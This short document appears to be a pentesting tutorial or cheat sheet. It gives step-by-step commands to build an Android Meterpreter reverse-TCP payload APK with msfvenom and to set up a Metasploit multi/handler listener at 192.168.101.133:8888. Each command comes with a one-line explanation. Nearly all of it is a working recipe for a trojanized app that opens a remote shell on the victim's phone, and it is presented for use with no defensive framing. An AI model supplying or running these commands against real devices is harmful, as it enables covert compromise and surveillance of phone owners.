Payload Generation (for Android):

- **Command:**

```
bash

sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.101.133 LPORT=8888 > andro.apk
```

Purpose: Generates an Android payload (`andro.apk`) using `msfvenom`, which creates a reverse TCP connection from the target device to the attacker's machine at IP `192.168.101.133` on port `8888`.

Metasploit Handler Setup:

1. **Command:**

```
bash

msf6 > use exploit/multi/handler
```

Purpose: Activates Metasploit's multi-handler module to manage reverse shell connections.

2. **Command:**

```
bash

msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
```

Purpose: Specifies the payload type to handle, which in this case is the Android reverse TCP meterpreter.

3. **Command:**

```
bash

msf6 exploit(multi/handler) > set lhost 192.168.101.133
```

Purpose: Sets the local host (attacker's IP) where the reverse connection will be received.

4. **Command:**

```
bash

msf6 exploit(multi/handler) > set lport 8888
```

Purpose: Sets the local port to listen for the incoming connection from the Android payload.

5. **Command:**

```bash
set ExitOnSession false
```

Purpose: Keeps the handler running even after a session is established, allowing multiple connections.

6. **Command:**

```bash
exploit -j
```

Purpose: Runs the exploit in the background as a job, keeping the listener active.